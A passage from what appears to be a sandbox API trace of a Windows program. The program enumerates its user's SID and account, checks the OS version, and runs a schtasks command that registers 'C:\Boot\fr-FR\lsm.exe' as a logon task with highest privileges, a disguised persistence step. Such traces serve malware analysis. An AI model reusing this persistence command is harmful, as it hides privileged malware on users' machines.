TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0083.506] GetLastError () returned 0x7a [0083.506] malloc (_Size=0x2c) returned 0xee200 [0083.506] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0083.506] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0083.506] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0083.506] malloc (_Size=0x1c) returned 0xeff30 [0083.506] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0083.506] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0083.506] malloc (_Size=0x18) returned 0xeef60 [0083.506] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0083.506] malloc (_Size=0x18) returned 0xef040 [0083.506] malloc (_Size=0x18) returned 0xeef20 [0083.506] SysStringLen (param_1="S-1-") returned 0x4 [0083.507] SysStringLen (param_1="5") returned 0x1 [0083.507] memcpy (in: _Dst=0x3810b8, _Src=0x381358, _Size=0xa | out: _Dst=0x3810b8) returned 0x3810b8 [0083.507] memcpy (in: _Dst=0x3810c0, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810c0) returned 0x3810c0 [0083.507] free (_Block=0xeef60) [0083.507] free (_Block=0xef040) [0083.507] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0083.507] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0083.507] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0083.507] malloc (_Size=0x18) returned 0xef040 [0083.507] malloc (_Size=0x18) returned 0xeef60 [0083.507] SysStringLen (param_1="S-1-5") returned 0x5 [0083.507] SysStringLen (param_1="-") returned 0x1 [0083.507] memcpy (in: _Dst=0x381268, _Src=0x3810b8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0083.507] memcpy (in: _Dst=0x381272, _Src=0x381358, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0083.507] free (_Block=0xeef20) [0083.507] free (_Block=0xef040) [0083.507] malloc (_Size=0x18) returned 0xef040 [0083.507] malloc (_Size=0x18) returned 0xeef20 [0083.507] SysStringLen (param_1="S-1-5-") returned 0x6 [0083.508] SysStringLen (param_1="21") returned 0x2 [0083.508] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0xe | out: _Dst=0x381358) returned 0x381358 [0083.508] memcpy (in: _Dst=0x381364, _Src=0x3810b8, _Size=0x6 | out: _Dst=0x381364) returned 0x381364 [0083.508] free (_Block=0xeef60) [0083.508] free (_Block=0xef040) [0083.508] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0083.508] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0083.508] malloc (_Size=0x18) returned 0xef040 [0083.508] malloc (_Size=0x18) returned 0xeef60 [0083.508] SysStringLen (param_1="S-1-5-21") returned 0x8 [0083.508] SysStringLen (param_1="-") returned 0x1 [0083.508] memcpy (in: _Dst=0x3810b8, _Src=0x381358, _Size=0x12 | out: _Dst=0x3810b8) returned 0x3810b8 [0083.508] memcpy (in: _Dst=0x3810c8, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810c8) returned 0x3810c8 [0083.508] free (_Block=0xeef20) [0083.508] free (_Block=0xef040) [0083.508] malloc (_Size=0x18) returned 0xef040 [0083.508] malloc (_Size=0x18) returned 0xeef20 [0083.508] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0083.508] SysStringLen (param_1="4219442223") returned 0xa [0083.509] memcpy (in: _Dst=0x337af8, _Src=0x3810b8, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0083.509] memcpy (in: _Dst=0x337b0a, _Src=0x381358, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0083.509] free (_Block=0xeef60) [0083.509] free (_Block=0xef040) [0083.509] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0083.509] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0083.509] malloc (_Size=0x18) returned 0xef040 [0083.509] malloc (_Size=0x18) returned 0xeef60 [0083.509] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0083.509] SysStringLen (param_1="-") returned 0x1 [0083.509] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0083.509] memcpy (in: _Dst=0x337a7e, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0083.509] free (_Block=0xeef20) [0083.509] free (_Block=0xef040) [0083.509] malloc (_Size=0x18) returned 0xef040 [0083.509] malloc (_Size=0x18) returned 0xeef20 [0083.509] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0083.509] SysStringLen (param_1="4223814209") returned 0xa [0083.509] memcpy (in: _Dst=0x34d958, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0083.509] memcpy (in: _Dst=0x34d980, _Src=0x3810b8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0083.510] free (_Block=0xeef60) [0083.510] free (_Block=0xef040) [0083.510] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0083.510] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0083.510] malloc (_Size=0x18) returned 0xef040 [0083.510] malloc (_Size=0x18) returned 0xeef60 [0083.510] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0083.510] SysStringLen (param_1="-") returned 0x1 [0083.510] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0083.510] memcpy (in: _Dst=0x34dcc4, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0083.510] free (_Block=0xeef20) [0083.510] free (_Block=0xef040) [0083.510] malloc (_Size=0x18) returned 0xef040 [0083.510] malloc (_Size=0x18) returned 0xeef20 [0083.510] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0083.510] SysStringLen (param_1="3835049652") returned 0xa [0083.510] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0083.510] memcpy (in: _Dst=0x34d996, _Src=0x3810b8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0083.511] free (_Block=0xeef60) [0083.511] free (_Block=0xef040) [0083.511] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0083.511] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0083.511] malloc (_Size=0x18) returned 0xef040 [0083.511] malloc (_Size=0x18) returned 0xeef60 [0083.511] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0083.511] SysStringLen (param_1="-") returned 0x1 [0083.511] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0083.511] memcpy (in: _Dst=0x34dcda, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0083.511] free (_Block=0xeef20) [0083.511] free (_Block=0xef040) [0083.511] malloc (_Size=0x18) returned 0xef040 [0083.511] malloc (_Size=0x18) returned 0xeef20 [0083.511] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0083.511] SysStringLen (param_1="1000") returned 0x4 [0083.511] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0083.511] memcpy (in: _Dst=0x34d9ac, _Src=0x3810b8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0083.511] free (_Block=0xeef60) [0083.512] free (_Block=0xef040) [0083.512] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0083.512] malloc (_Size=0x5e) returned 0xf0800 [0083.512] free (_Block=0xeef20) [0083.512] malloc (_Size=0x18) returned 0xeef20 [0083.512] free (_Block=0xf0800) [0083.512] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0083.513] GetLastError () returned 0x7a [0083.513] malloc (_Size=0x14) returned 0xef040 [0083.513] malloc (_Size=0x16) returned 0xeef60 [0083.513] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0083.514] malloc (_Size=0x18) returned 0xef0a0 [0083.514] malloc (_Size=0x18) returned 0xeef00 [0083.514] free (_Block=0xef040) [0083.514] free (_Block=0xeef60) [0083.514] free (_Block=0xeff30) [0083.516] free (_Block=0xeef00) [0083.516] free (_Block=0xef0a0) [0083.517] free (_Block=0xeef20) [0083.517] free (_Block=0xee200) [0083.517] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0083.517] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0083.517] GetLastError () returned 0x7a [0083.517] malloc (_Size=0x2c) returned 0xee240 [0083.518] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0083.518] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0083.518] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0083.518] malloc (_Size=0x1c) returned 0xeff30 [0083.518] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0083.518] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0083.518] malloc (_Size=0x18) returned 0xeef20 [0083.518] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0083.518] malloc (_Size=0x18) returned 0xef0a0 [0083.518] malloc (_Size=0x18) returned 0xeef00 [0083.518] SysStringLen (param_1="S-1-") returned 0x4 [0083.518] SysStringLen (param_1="5") returned 0x1 [0083.518] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0xa | out: _Dst=0x381358) returned 0x381358 [0083.518] memcpy (in: _Dst=0x381360, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x381360) returned 0x381360 [0083.518] free (_Block=0xeef20) [0083.518] free (_Block=0xef0a0) [0083.518] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0083.518] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0083.519] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0083.519] malloc (_Size=0x18) returned 0xef0a0 [0083.519] malloc (_Size=0x18) returned 0xeef20 [0083.519] SysStringLen (param_1="S-1-5") returned 0x5 [0083.519] SysStringLen (param_1="-") returned 0x1 [0083.519] memcpy (in: _Dst=0x3810b8, _Src=0x381358, _Size=0xc | out: _Dst=0x3810b8) returned 0x3810b8 [0083.519] memcpy (in: _Dst=0x3810c2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810c2) returned 0x3810c2 [0083.519] free (_Block=0xeef00) [0083.519] free (_Block=0xef0a0) [0083.519] malloc (_Size=0x18) returned 0xef0a0 [0083.519] malloc (_Size=0x18) returned 0xeef00 [0083.519] SysStringLen (param_1="S-1-5-") returned 0x6 [0083.519] SysStringLen (param_1="21") returned 0x2 [0083.519] memcpy (in: _Dst=0x381268, _Src=0x3810b8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0083.519] memcpy (in: _Dst=0x381274, _Src=0x381358, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0083.519] free (_Block=0xeef20) [0083.519] free (_Block=0xef0a0) [0083.519] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0083.519] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0083.519] malloc (_Size=0x18) returned 0xef0a0 [0083.520] malloc (_Size=0x18) returned 0xeef20 [0083.520] SysStringLen (param_1="S-1-5-21") returned 0x8 [0083.520] SysStringLen (param_1="-") returned 0x1 [0083.520] memcpy (in: _Dst=0x381358, _Src=0x381268, _Size=0x12 | out: _Dst=0x381358) returned 0x381358 [0083.520] memcpy (in: _Dst=0x381368, _Src=0x3810b8, _Size=0x4 | out: _Dst=0x381368) returned 0x381368 [0083.520] free (_Block=0xeef00) [0083.520] free (_Block=0xef0a0) [0083.520] malloc (_Size=0x18) returned 0xef0a0 [0083.520] malloc (_Size=0x18) returned 0xeef00 [0083.520] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0083.520] SysStringLen (param_1="4219442223") returned 0xa [0083.520] memcpy (in: _Dst=0x337af8, _Src=0x381358, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0083.520] memcpy (in: _Dst=0x337b0a, _Src=0x381268, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0083.520] free (_Block=0xeef20) [0083.520] free (_Block=0xef0a0) [0083.520] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0083.520] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0083.520] malloc (_Size=0x18) returned 0xef0a0 [0083.520] malloc (_Size=0x18) returned 0xeef20 [0083.520] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0083.520] SysStringLen (param_1="-") returned 0x1 [0083.521] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0083.521] memcpy (in: _Dst=0x337a7e, _Src=0x381358, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0083.521] free (_Block=0xeef00) [0083.521] free (_Block=0xef0a0) [0083.521] malloc (_Size=0x18) returned 0xef0a0 [0083.521] malloc (_Size=0x18) returned 0xeef00 [0083.521] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0083.521] SysStringLen (param_1="4223814209") returned 0xa [0083.521] memcpy (in: _Dst=0x34dc88, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0083.521] memcpy (in: _Dst=0x34dcb0, _Src=0x381358, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0083.521] free (_Block=0xeef20) [0083.521] free (_Block=0xef0a0) [0083.521] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0083.521] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0083.521] malloc (_Size=0x18) returned 0xef0a0 [0083.521] malloc (_Size=0x18) returned 0xeef20 [0083.521] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0083.521] SysStringLen (param_1="-") returned 0x1 [0083.521] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0083.521] memcpy (in: _Dst=0x34d994, _Src=0x381358, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0083.522] free (_Block=0xeef00) [0083.522] free (_Block=0xef0a0) [0083.522] malloc (_Size=0x18) returned 0xef0a0 [0083.522] malloc (_Size=0x18) returned 0xeef00 [0083.522] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0083.522] SysStringLen (param_1="3835049652") returned 0xa [0083.522] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0083.522] memcpy (in: _Dst=0x34dcc6, _Src=0x381358, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0083.522] free (_Block=0xeef20) [0083.522] free (_Block=0xef0a0) [0083.522] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0083.522] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0083.522] malloc (_Size=0x18) returned 0xef0a0 [0083.522] malloc (_Size=0x18) returned 0xeef20 [0083.522] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0083.522] SysStringLen (param_1="-") returned 0x1 [0083.522] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0083.522] memcpy (in: _Dst=0x34d9aa, _Src=0x381358, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0083.522] free (_Block=0xeef00) [0083.523] free (_Block=0xef0a0) [0083.523] malloc (_Size=0x18) returned 0xef0a0 [0083.523] malloc (_Size=0x18) returned 0xeef00 [0083.523] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0083.523] SysStringLen (param_1="1000") returned 0x4 [0083.523] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0083.523] memcpy (in: _Dst=0x34dcdc, _Src=0x381358, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0083.523] free (_Block=0xeef20) [0083.523] free (_Block=0xef0a0) [0083.523] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0083.523] malloc (_Size=0x5e) returned 0xf0800 [0083.523] free (_Block=0xeef00) [0083.523] malloc (_Size=0x18) returned 0xeef00 [0083.524] free (_Block=0xf0800) [0083.524] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0083.525] GetLastError () returned 0x7a [0083.525] malloc (_Size=0x14) returned 0xef0a0 [0083.525] malloc (_Size=0x16) returned 0xeef20 [0083.525] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0083.525] malloc (_Size=0x18) returned 0xeef60 [0083.525] malloc (_Size=0x18) returned 0xef040 [0083.525] free (_Block=0xef0a0) [0083.525] free (_Block=0xeef20) [0083.526] free (_Block=0xeff30) [0083.526] free (_Block=0xef040) [0083.526] free (_Block=0xeef60) [0083.526] free (_Block=0xeef00) [0083.526] free (_Block=0xee240) [0083.527] malloc (_Size=0x48) returned 0xed400 [0083.527] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0083.533] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0083.533] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0083.533] malloc (_Size=0x18) returned 0xeef00 [0083.533] CreateEnvironmentBlock () returned 0x1 [0083.539] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0083.539] malloc (_Size=0x18) returned 0xeef60 [0083.539] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"lsm\" /sc ONLOGON /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"lsm\" /sc ONLOGON /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xa38, dwThreadId=0xd04)) returned 1 [0083.544] CloseHandle (hObject=0x2f8) returned 1 [0083.544] CloseHandle (hObject=0x2fc) returned 1 [0083.544] free (_Block=0xeef60) [0083.545] DestroyEnvironmentBlock () returned 0x1 [0083.545] malloc (_Size=0x48) returned 0xed2c0 [0083.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5ac2d080, dwHighDateTime=0x1d9eb0c)) [0083.545] SetEvent (hEvent=0x1f0) returned 1 [0083.545] CloseHandle (hObject=0x2e0) returned 1 [0083.545] CloseHandle (hObject=0x2d4) returned 1 [0083.574] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0083.574] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0083.574] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | 